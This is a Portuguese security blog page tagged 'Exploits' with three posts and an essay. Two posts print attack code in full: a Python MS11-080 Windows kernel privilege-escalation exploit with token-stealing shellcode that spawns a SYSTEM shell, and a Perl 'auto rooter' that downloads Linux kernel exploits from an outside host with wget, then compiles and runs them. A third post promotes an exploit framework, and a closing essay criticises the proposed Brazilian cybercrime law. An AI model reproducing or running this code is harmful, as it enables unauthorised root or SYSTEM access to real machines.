banner468

Mostrando postagens com marcador Exploits. Mostrar todas as postagens
Mostrando postagens com marcador Exploits. Mostrar todas as postagens

sábado, 10 de dezembro de 2011

MS11-080 - Escalação de privilegio no Windows


Esse exploit (MS11-080 – CVE-2011-2005 Afd.sys Privilege Escalation Exploit) explora o fato de que o afd.sys não valida corretamente o user-mod de entrada passando para o kernel-mod.

Uso:
Usage: MS11-080.py -O TARGET_OS

Options:
  -h, --help            show this help message and exit
  -O TARGET_OS, --target-os=TARGET_OS
                        Target OS. Accepted values: XP, 2K3

Exploit escrito em python: http://packetstormsecurity.org/files/107402/ms11-080.txt

################################################################################
######### MS11-080 - CVE-2011-2005 Afd.sys Privilege Escalation Exploit ########
#########         Author: ryujin@offsec.com - Matteo Memelli            ########
#########                      Spaghetti & Pwnsauce                     ########
#########              yuck! 0xbaadf00d Elwood@mac&cheese.com           ########
#########                                                               ########
#########      Thx to dookie(lifesaver)2000ca, dijital1 and ronin       ########
#########                        for helping out!                       ########
#########                                                               ########
#########                   To my Master Shifu muts:                    ########
#########           "So that's it, I just need inner peace?" ;)         ########
#########                                                               ########
#########        Exploit tested on the following 32bits systems:        ########
#########       Win XPSP3 Eng, Win 2K3SP2 Standard/Enterprise Eng       ########
################################################################################
 
from ctypes import (windll, CDLL, Structure, byref, sizeof, POINTER,
                    c_char, c_short, c_ushort, c_int, c_uint, c_ulong,
                    c_void_p, c_long, c_char_p)
from ctypes.wintypes import HANDLE, DWORD
import socket, time, os, struct, sys
from optparse import OptionParser
 
usage =  "%prog -O TARGET_OS"
parser = OptionParser(usage=usage)
parser.add_option("-O", "--target-os", type="string",
                  action="store", dest="target_os",
                  help="Target OS. Accepted values: XP, 2K3")
(options, args) = parser.parse_args()
OS = options.target_os
if not OS or OS.upper() not in ['XP','2K3']:
   parser.print_help()
   sys.exit()
OS = OS.upper()
 
kernel32 = windll.kernel32
ntdll    = windll.ntdll
Psapi    = windll.Psapi
 
def findSysBase(drvname=None):
    ARRAY_SIZE            = 1024
    myarray               = c_ulong * ARRAY_SIZE
    lpImageBase           = myarray()
    cb                    = c_int(1024)
    lpcbNeeded            = c_long()
    drivername_size       = c_long()
    drivername_size.value = 48
    Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))
    for baseaddy in lpImageBase:
        drivername = c_char_p("\x00"*drivername_size.value)
        if baseaddy:
            Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername,
                            drivername_size.value)
            if drvname:
                if drivername.value.lower() == drvname:
                    print "[+] Retrieving %s info..." % drvname
                    print "[+] %s base address: %s" % (drvname, hex(baseaddy))
                    return baseaddy
            else:
                if drivername.value.lower().find("krnl") !=-1:
                    print "[+] Retrieving Kernel info..."
                    print "[+] Kernel version:", drivername.value
                    print "[+] Kernel base address: %s" % hex(baseaddy)
                    return (baseaddy, drivername.value)
    return None
 
print "[>] MS11-080 Privilege Escalation Exploit"
print "[>] Matteo Memelli - ryujin@offsec.com"
print "[>] Release Date 28/11/2011"
 
WSAGetLastError          = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype  = c_int
SOCKET                   = c_int
WSASocket                = windll.Ws2_32.WSASocketA
WSASocket.argtypes       = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype        = SOCKET
closesocket              = windll.Ws2_32.closesocket
closesocket.argtypes     = (SOCKET,)
closesocket.restype      = c_int
connect                  = windll.Ws2_32.connect
connect.argtypes         = (SOCKET, c_void_p, c_int)
connect.restype          = c_int
 
class sockaddr_in(Structure):
    _fields_ = [
        ("sin_family", c_short),
        ("sin_port", c_ushort),
        ("sin_addr", c_ulong),
        ("sin_zero", c_char * 8),
        ]
 
## Create our deviceiocontrol socket handle
client = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP,
                   None, 0, 0)
if client == ~0:
    raise OSError, "WSASocket: %s" % (WSAGetLastError(),)
try:
    addr = sockaddr_in()
    addr.sin_family = socket.AF_INET
    addr.sin_port = socket.htons(4455)
    addr.sin_addr = socket.htonl(0x7f000001) # 127.0.0.1
    ## We need to connect to a closed port, socket state must be CONNECTING
    connect(client, byref(addr), sizeof(addr))
except:
    closesocket(client)
    raise
 
baseadd    = c_int(0x1001)
MEMRES     = (0x1000 | 0x2000)
PAGEEXE    = 0x00000040
Zerobits   = c_int(0)
RegionSize = c_int(0x1000)
written    = c_int(0)
## This will trigger the path to AfdRestartJoin
irpstuff   = ("\x41\x41\x41\x41\x42\x42\x42\x42"
              "\x00\x00\x00\x00\x44\x44\x44\x44"
              "\x01\x00\x00\x00"
              "\xe8\x00" + "4" + "\xf0\x00" + "\x45"*231)
## Allocate space for the input buffer
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
                                     byref(baseadd),
                                     0x0,
                                     byref(RegionSize),
                                     MEMRES,
                                     PAGEEXE)
# Copy input buffer to it
kernel32.WriteProcessMemory(-1, 0x1000, irpstuff, 0x100, byref(written))
startPage = c_int(0x00020000)
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
################################# KERNEL INFO ##################################
lpDriver     = c_char_p()
lpPath       = c_char_p()
lpDrvAddress = c_long()
(krnlbase, kernelver) = findSysBase()
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += krnlbase
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
halbase = findSysBase("hal.dll")
## WinXP SP3
if OS == "XP":
    HaliQuerySystemInformation = halbase+0x16bba # Offset for XPSP3
    HalpSetSystemInformation   = halbase+0x19436 # Offset for XPSP3
## Win2k3 SP2
else:
    HaliQuerySystemInformation = halbase+0x1fa1e # Offset for WIN2K3
    HalpSetSystemInformation   = halbase+0x21c60 # Offset for WIN2K3
print "[+] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation)
print "[+] HalpSetSystemInformation address:", hex(HalpSetSystemInformation)
 
################################# EXPLOITATION #################################
shellcode_address_dep   = 0x0002071e
shellcode_address_nodep = 0x000207b8
padding           = "\x90"*2
HalDispatchTable0x4 = HalDispatchTable + 0x4
HalDispatchTable0x8 = HalDispatchTable + 0x8
## tokenbkaddr      = 0x00020900
if OS == "XP":
    _KPROCESS = "\x44"
    _TOKEN    = "\xc8"
    _UPID     = "\x84"
    _APLINKS  = "\x88"
else:
    _KPROCESS = "\x38"
    _TOKEN    = "\xd8"
    _UPID     = "\x94"
    _APLINKS  = "\x98"
     
restore_ptrs =   "\x31\xc0" + \
                 "\xb8" + struct.pack("L", HalpSetSystemInformation) + \
                 "\xa3" + struct.pack("L", HalDispatchTable0x8) + \
                 "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
                 "\xa3" + struct.pack("L", HalDispatchTable0x4)
tokenstealing =  "\x52"                                 +\
                 "\x53"                                 +\
                 "\x33\xc0"                             +\
                 "\x64\x8b\x80\x24\x01\x00\x00"         +\
                 "\x8b\x40" + _KPROCESS                 +\
                 "\x8b\xc8"                             +\
                 "\x8b\x98" + _TOKEN + "\x00\x00\x00"   +\
                 "\x89\x1d\x00\x09\x02\x00"             +\
                 "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
                 "\x75\xe8"                             +\
                 "\x8b\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x8b\xc1"                             +\
                 "\x89\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x5b"                                 +\
                 "\x5a"                                 +\
                 "\xc2\x10"
restore_token =  "\x52"                                 +\
                 "\x33\xc0"                             +\
                 "\x64\x8b\x80\x24\x01\x00\x00"         +\
                 "\x8b\x40" + _KPROCESS                 +\
                 "\x8b\x15\x00\x09\x02\x00"             +\
                 "\x89\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x5a"                                 +\
                 "\xc2\x10"
                  
shellcode         = padding + restore_ptrs + tokenstealing
shellcode_size    = len(shellcode)
orig_size         = shellcode_size
# Write shellcode in userspace (dep)
kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,
                                   shellcode_size, byref(written))
# Write shellcode in userspace *(nodep)
kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,
                                   shellcode_size, byref(written))
## Trigger Pointer Overwrite
print "[*] Triggering AFDJoinLeaf pointer overwrite..."
IOCTL             = 0x000120bb                # AFDJoinLeaf
inputbuffer       = 0x1004
inputbuffer_size  = 0x108
outputbuffer_size = 0x0                       # Bypass Probe for Write
outputbuffer      = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1
IoStatusBlock = c_ulong()
NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
                                       None,
                                       None,
                                       None,
                                       byref(IoStatusBlock),
                                       IOCTL,
                                       inputbuffer,
                                       inputbuffer_size,
                                       outputbuffer,
                                       outputbuffer_size
                                       )
## Trigger shellcode
inp  = c_ulong()
out  = c_ulong()
inp  = 0x1337
hola = ntdll.NtQueryIntervalProfile(inp, byref(out))
## Spawn a system shell, w00t!
print "[*] Spawning a SYSTEM shell..."
os.system("cmd.exe /T:C0 /K cd c:\\windows\\system32")
 
############################## POST EXPLOITATION ###############################
print "[*] Restoring token..."
## Restore the thingie
shellcode         = padding + restore_ptrs + restore_token
shellcode_size    = len(shellcode)
trail_padding     = (orig_size - shellcode_size) * "\x00"
shellcode        += trail_padding
shellcode_size   += (orig_size - shellcode_size)
## Write restore shellcode in userspace (dep)
kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,
                                   shellcode_size, byref(written))
## Write restore shellcode in userspace (nodep)
kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,
                                   shellcode_size, byref(written))
## Overwrite HalDispatchTable once again
NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
                                       None,
                                       None,
                                       None,
                                       byref(IoStatusBlock),
                                       IOCTL,
                                       inputbuffer,
                                       inputbuffer_size,
                                       outputbuffer,
                                       outputbuffer_size
                                       )
## Trigger restore shellcode
hola = ntdll.NtQueryIntervalProfile(inp, byref(out))
print "[+] Restore done! Have a nice day :)"

------------XXX------------

Caso não tenho o python instalado, pode usar uma versão portátil:

Ref:

sexta-feira, 9 de dezembro de 2011

ExploitPack 1.1 - Framework de Exploits


Exploit Pack é uma ferramenta de segurança open source e vem para preencher uma necessidade, uma estrutura para auxiliar escritores e pesquisadores de segurança, com uma licença GPL e Python como motor de seus módulos. Também é baseado em Java e SWT para cair na real multi-plataforma. Licença GPL é usado para todo o projeto e, assim, garantir que o código será sempre livre.

Exploit Pack tentar garante a preencher as necessidades que um desenvolvedor de exploit ou especialista em segurança tem diariamente. E vai ajudá-lo quando você tem que testar a segurança do seu computador ou servidores.




Microsoft Windows 64

Windows XP, 2003, Vista, 2008 & 7 :
ExploitPack – 1.1 win64.exe – Binary win64
MD5Sum: d922dafa82c7afbf71abd7301aeedbd1

GNU/Linux
Debian, Redhat, Ubuntu 2.6 :
ExploitPack-1.1-i386.tar.gz – Source

 MAC OS X
Mac OS X (10.4, 10.5 and 10.6) :
ExploitPack-1.1-i386.bzip – Source

 Free BSD
FreeBSD 7 & 8 :
ExploitPack-1.1-i386.tar.gz – Source

quarta-feira, 20 de julho de 2011

2011 Linux Auto r00t3r Beta version 1.0


Código:

#!/usr/bin/perl
#Coded By CrosS ( 2011 Linux Auto r00t3r )
print "###########################################################\n";
print "#             (Beta 1.0 )   Auto rooter by CrosS           #\n";
print "#  Usage :                                                 #\n";
print "#    perl $0 root    => To root            #\n";
print "#    perl $0 del     => Delete Exploit     #\n";
print "#                                                          #\n";
print "#       as R00TW0RM - Private Community is back            #\n";
print "#                  so Releasing 2011 auto rooter =)        #\n";
print "#   in case of error mailto: mr.0x0day[AT]live.com         #\n";
print "#                                                          #\n";
print "#        Thanks to: r0073r and L0rd CrusAd3r               #\n";
print "#              http://www.r00tw0rm.com/forum               #\n";
print "###########################################################\n\n\n";

                              
if ($ARGV[0] =~ "root" )
{
system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.18.c");
system("gcc 2.6.18.c -o 2.6.18");
system("chmod 777 2.6.18");
system("./2.6.18");
system("id");
system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.33.c");
system("gcc 2.6.33.c -o 2.6.33");
system("chmod 777 2.6.33");
system("./2.6.33");
system("id");
system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.34.c");
system("gcc -w 2.6.34.c -o 2.6.34");
system("sudo setcap cap_sys_admin+ep 2.6.34");
system("./2.6.34");
system("id");
system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.37-rc2.c");
system("gcc 2.6.37-rc2.c -o 2.6.37-rc2");
system("chmod 777 2.6.37-rc2");
system("./2.6.37-rc2");
system("id");
system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.37.c");
system("gcc 2.6.37.c -o 2.6.37");
system("chmod 777 2.6.37");
system("./2.6.37");
system("id");
system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.43.2.c");
system("gcc -w 2.6.43.2.c -o 2.6.43.2");
system("sudo setcap cap_sys_admin+ep 2.6.43.2");
system("chmod 777 2.6.43.2");
system("./2.6.43.2");
system("id");
system("wget http://www.r00tw0rm.com/2o11Expl01t/3.0.c");
system("gcc 3.0.c -o 3.0");
system("chmod 777 3.0");
system("./3.0");
system("id");
}
if ($ARGV[0] =~ "del" )
{
print "All Exploit deleting ...\n";
system("rm 2.6*;rm -rf 2.6*;rm 3.0*;rm -rf 3.0*");
}

Ref: http://www.r00tw0rm.com/forum/showthread.php?75-2011-Linux-Auto-r00t3r-Beta-version-1.0

Por Cross

terça-feira, 28 de junho de 2011

Hackers to Law: Lei Azeredo pode tornar inviável cultura e pesquisa hacker

Como deveria ser do conhecimento de todos, hackers, ao contrário de crackers, utilizam seus conhecimentos para o aprimoramento da segurança de sistemas, e não invadem sistemas com a intenção danosa. Mas invadem sistemas, fato!

Mas será que o PL 84/1999, a chamada “Lei Azeredo”, alcança esta distinção técnica, ou trata todos como cibercriminosos, como é, aliás, o entendimento de algumas autoridades que se manifestam a respeito? Em maio de 2011, o Projeto 84/1999 teve novo relatório, também pelo (agora Senador) Azeredo, que tentou costurar alguns termos de modo a tornar o projeto “mais aprazível”. Fato é que o mesmo será votado pela Comissão de Ciência e Tecnologia da Câmara, e pode ser aprovado a qualquer momento.

Mas, suprimir “termos polêmicos” da legislação projetada, como o próprio Senador anunciou, significa efetivamente preservar direitos e garantias fundamentais dos cidadãos e pesquisadores de segurança? Vejamos, no decorrer desta análise.

Dentre as principais modificações do relatório, tivemos a remoção dos textos “dispositivos de comunicação” e “rede de computadores” dos tipos penais trazidos, segundo o relator, para “impedir a criminalização de condutas banais”. Mas condutas banais continuam em risco de serem consideradas criminosas.
Três artigos, com profundo impacto nas pesquisas realizadas por profissionais de segurança, serão estudados, abaixo descritos:

Acesso não autorizado a rede de computadores, dispositivo de comunicação ou sistema informatizado

Art. 285-A. Acessar rede de computadores, dispositivo de comunicação ou sistema informatizado, sem autorização do legítimo titular, quando exigida:
Pena – reclusão, de 1 (um) a 3 (três) anos, e multa.

Parágrafo único. Se o agente se vale de nome falso ou da utilização de identidade de terceiros para a prática do crime, a pena é aumentada de sexta parte.

Obtenção, transferência ou fornecimento não autorizado de dado ou informação

Art. 285-B. Obter ou transferir dado ou informação disponível em rede de computadores, dispositivo de comunicação ou sistema informatizado, sem autorização ou em desconformidade à autorização, do legítimo titular, quando exigida: 

Pena – reclusão, de 1 (um) a 3 (três) anos, e multa.

Parágrafo único. Se o dado ou informação obtida desautorizadamente é fornecida a terceiros, a pena é aumentada de um terço.

Inserção ou difusão de código malicioso

Art. 163-A. Inserir ou difundir código malicioso em dispositivo de comunicação, rede de computadores, ou sistema informatizado.

Pena – reclusão, de 1 (um) a 3 (três) anos, e multa.

Inserção ou difusão de código malicioso seguido de dano

§ 1º Se do crime resulta destruição, inutilização, deterioração, alteração, dificultação do funcionamento, ou funcionamento desautorizado pelo legítimo titular, de dispositivo de comunicação, de rede de computadores, ou de sistema informatizado:

Pena – reclusão, de 2(dois) a 4 (quatro) anos, e multa.

Bom, para entender quais foram as mudanças nos artigos, apenas os leia sem as expressões “rede de computadores” e “dispositivo de comunicação”. Avançamos realmente em prol de uma legislação lúcida, no que tange às pesquisas de segurança? Receio que não.

Primeiramente, em se tratando do crime previsto no art. 285-A (Acesso não autorizado a rede de computadores, dispositivo de comunicação ou sistema informatizado), o “acesso” continua sendo “não autorizado”, de modo que deixa a cargo do titular do “sistema informatizado” reputar as condições de autorização (que podem não ser tão expressas), como “integrador” da lei penal, o que é um perigo, diante de nítida subjetividade, que pode ensejar manobras maliciosas para prender pesquisadores e profissionais éticos.

Imagine que você, ao invés de acessar um site via browser, utiliza um crawling ou se utiliza do comando “wget” no site; este acesso está se dando a um sistema informatizado (website) e de uma forma não trivial (browsing), logo, você pode ser punido por fazer download do site.

Imagine em um pentest (teste de intrusão), onde via “sql injection” você consegue bypassar o sistema de login do precitado portal, adentrando na área administrativa ou mesmo descobre o arquivo de conexão que lhe permite realizar uma conexão nativa com o banco de dados. Ora se hoje, CSOs na grande maioria, são arredios e se revoltam com “pesquisadorezinhos” que se intrometem em seu trabalho e expõe vulnerabilidades, imaginem, quando eles descobrirem que tais atividades passam a ser criminosas?

Uma simples script em php usando a expressão , concatenado em uma querystring, para gerar um registro no errors.log, que simplesmente te permite a execução do Shell (cmd), e que o pesquisador testou em um sistema, mesmo que não tenha sido contratado, causado dano, indisponibilidade ou copiado informação alguma, apenas para provar o conceito, seria, em tese, acesso indevido a sistema informatizado. Ora, como testar a segurança de um sistema se o acesso é criminoso?

E que nem se argumente que pode-se inserir na redação do tipo a expressão “através de meio fraudulento” e estaria resolvido o problema, sendo que somente crackers seriam pegos. Ledo engano, os hackers utilizam de destreza e técnicas de subversão de sistemas, logo, é fato que adulteram, enganam os sistemas testados. O que difere um cracker de um hacker não são, em regra, as ferramentas ou meios usados, mas a intenção dos agentes.

Alguns podem argumentar que os riscos de injustiças acima expostos não existem, já que a conduta punível deve ser sempre “dolosa”, com intenção, porém, não nos perece crível que um pesquisador de segurança tenha de provar que não tinha intenção fraudulenta ou de obtenção de quaisquer vantagens, tendo de se expor constantemente em face de investigadores, inquéritos, averiguações, dentre outras. O simples fato de comparecer em um “DP” para prestar esclarecimentos, para um pesquisador Hacker, é fato constrangedor ao extremo e pode se intensificar com a aprovação da lei.

Já, em se analisando o artigo 285-B da “Lei Azeredo” (Obtenção, transferência ou fornecimento não autorizado de dado ou informação), temos o mesmo problema e pior, com uma conduta passiva do hacker, “obter”, ou seja, alguém que receba por e-mail, skype ou de qualquer forma dados de uma pagina ou aplicação web, banco de dados ou dispositivo informático, poderá incidir no tipo ora previsto. Não bastasse, mais uma vez tem-se um conceito subjetivo, “sem autorização”, que pode ser utilizado por pessoas maliciosas para incriminar inocentes. Um contratante, por exemplo, buscando a rescisão com um pesquisador de segurança, sem pagar-lhe o devido, pode “armar” uma cilada, modificando os termos de acesso ao sistema informatizado, fazendo com que este, inconscientemente, incida na conduta prevista como criminosa.

Alguém que faça ou receba um script e faça um “file include” e que demonstra uma URL vulnerável, e que encaminha as análises para um grupo de pesquisadores, estaria em tese cometendo a conduta criminosa.

Ademais, hackers que participam de listas não estão imunes à atuação de kiddies tolos que por prazer e sem cérebro postam dados de suas “façanhas”. Neste caso, hackers estariam “obtendo” dados de sistemas informatizados sem autorização. Logo, criminosos! Divulgações de pesquisas, repositórios de códigos e provas de conceito podem estar comprometidas, pois darão margem a uma interceptação ampla por parte de vítimas, delegados, promotores, etc.

Já o tipo previsto no art. 163-A, pune aquele que insere ou difunde código malicioso em dispositivo de comunicação, rede de computadores, ou sistema informatizado (Agora, só “sistema informatizado”). Ora, e quem irá dizer o que é “código malicioso”? É o mesmo que tentar explicar se uma “faca” é um instrumento malicioso! Vocês conhecem o T50? O SqlMap? O Metaexploit? Pois é, exploits, provas de conceito e ferramentas de auditoria estão ameaçadas. E um mero scriptzinho VBS ou viruszinho de macro (Do tipo,“Seu pc está sendo formatado…”), mesmo sem comprovada eficácia do meio, podem ser considerados códigos maliciosos? Quem vai dizer são os operadores da lei, e é aí onde mora o perigo.

Se você apenas injetou o ou executou o exploit, mesmo que não haja dano, pode ser punido pela “inserção”. Se você mandou o link do código (exploit) para alguém, “difusão”, Se você colocou aquelas “aspas simples” em um “textbox” em algum site, (viu algo como “Erro: Incorrect syntax near ”, senha, 0) retorno, tipo, codigo, acessos from usuario where usuario = ”.”) mas o gerente de TI registrou seu IP no access.log e passou para um advogado, cana!

“Onde você estava quando estas aspas simples foram registradas nos logs da vítima? Elas vieram do seu IP! Confesse!”

Bom, e se você instalou um plugin no seu browser para te dar prioridade do tipo “X-Forwarded-For Spoof” e lá colocou um javinha alert e percebeu que dezenas de sites estão vulneráveis a XSS-Crossite (em referrer)? Você estava simplesmente garantindo sua privacidade, esbarrou com falhas, e ainda pode ser indiciado por “inserção” de “código malicioso”! Pode?

Você compra um “Iphone” e instala uma aplicaçãozinha que permite acessar o root do sistema de arquivos ou para desbloquear alguma função. (jailbreak). Pergunto, a Apple autoriza? Você não inseriu código malicioso em sistema informatizado? Crime!

Você gosta de engenharia reversa, usa um “discompiler” ou mesmo um “disassembler”, altera alguma aplicação em hexa, ou muda endereçamentos, inserindo novos códigos no executável, para avaliar sua segurança e comportamento? Você está inserindo código em “sistema informatizado”, crime!
Você acessa seu e-mail através de webmail, após o desligamento da empresa, você percebe que suas credenciais não foram removidas, e realiza um acesso de sua casa para acessar os últimos e-mails remetidos a você. Você está acessando indevidamente sistema informatizado (servidor e-mails) sem autorização! Crime!
São várias as condutas questionáveis!

Por fim, a supressão dos termos “dispositivo de comunicação” e “rede de computadores” dos crimes aqui estudados, alteram algo neste cenário? Apenas limito-me a descrever o conceito de sistema informatizado, mantido pela lei: “qualquer sistema capaz de processar, capturar, armazenar ou transmitir dados eletrônica ou digitalmente ou de forma equivalente” 

A alteração, a nosso ver, em nada altera o cenário, pois o termo sistema informatizado é amplo e não vislumbro, na grande maioria das hipóteses, um dispositivo de comunicação ou rede de computadores (útil), sem um sistema informatizado. Ou seja, se o Senador removeu estes termos, foi por redundância, e não com intenções de “impedir a criminalização de condutas banais”.

Vejamos, se você rodasse um nmap em um IP e verificasse que o mesmo está com a porta do Terminal Server aberta (3389), entrasse e, digitando as credenciais, acessasse o sistema, estaria em tese acessando indevidamente rede de computadores. Se, de outro modo, via wireless, encontrasse um dispositivo móvel fazendo gateway para Internet (via 3g ou gsm) e nele se conectasse, estaria acessando indevidamente um dispositivo de comunicação. O mesmo vale para os inúmeros hotspots liberados ou “liberáveis” (aircrack que o diga…) disponíveis em todo o Brasil, onde seus titulares sequer sabem de tal fato. Acessou rede alheia, aberta, porém sem autorização (aberta por ignorância e não por consentimento), crime!

Removendo agora estes termos (redes de computadores e dispositivos de comunicação, mantendo somente sistemas informatizados), no primeiro caso, em uma interpretação maliciosa, poderiam as autoridades alegarem que o agente acessou o “sistema informatizado” operacional x ou y da vítima, via Terminal Server. No segundo caso, que o agente acessou o “sistema informatizado” android, symbiam, iphoneOS ou qualquer outro sistema da vítima, via wireless. Na terceira hipótese, que acessou o “sistema informatizado” do roteador (firmware) para acesso indevido à rede wireless alheia…

Ou seja, nada mudou, a interpretação de sistema informatizado é, do mesmo modo, ampla!

O mesmo vale para o verbo “obter” previsto no artigo 285-B. Não se obtém dados em redes de computadores e dispositivos de comunicação que não estejam, via de regra, suportados por sistemas informatizados. Pense conosco… Um firmware é sistema informatizado, um aplicativo é sistema informatizado, um utilitário é sistema informatizado, ou inutilitário é sistema informatizado… Acessou a página do LulzSecBrasil com dados da Dilma e Kassab? Criminoso! Você “obteve” os dados sem autorização do titular! Bandido!

Como explicado, não se ambicionou, com o presente, pregar a não necessidade de uma lei de crimes informáticos ou atacar o projeto como um todo (eis que parte dos artigos são válidos e pertinentes, como a proteção de dados pessoais prevista no art. 154-A), mas tão somente demonstrar, especificamente, no que tange à atividade hacker, que esta pode restar inviabilizada caso tais tipos não sejam reformulados, reestudados ou removidos da “Lei Azeredo”.

A manutenção dos tipos penais, tal como se apresentam, constitui em risco para a cultura e pesquisa de segurança da informação, na medida em que colocam “nas mãos” dos titulares de sistemas informatizados e na interpretação de autoridades, questões como a autorização ou não para acesso e envolvendo a intenção (dolo) do hacker suspeito, bem como criminaliza atividades triviais diuturnamente realizadas por pesquisadores, sempre, com as melhores finalidades. Como provar boas intenções neste cenário? Desculpem-me, mas este ônus não deve ser atribuído aos hackers.

Vamos lutar pelo direito da cultura hacker!

 

Subscribe to our Newsletter

Contact our Support

Email us: youremail@gmail.com

Our Team Memebers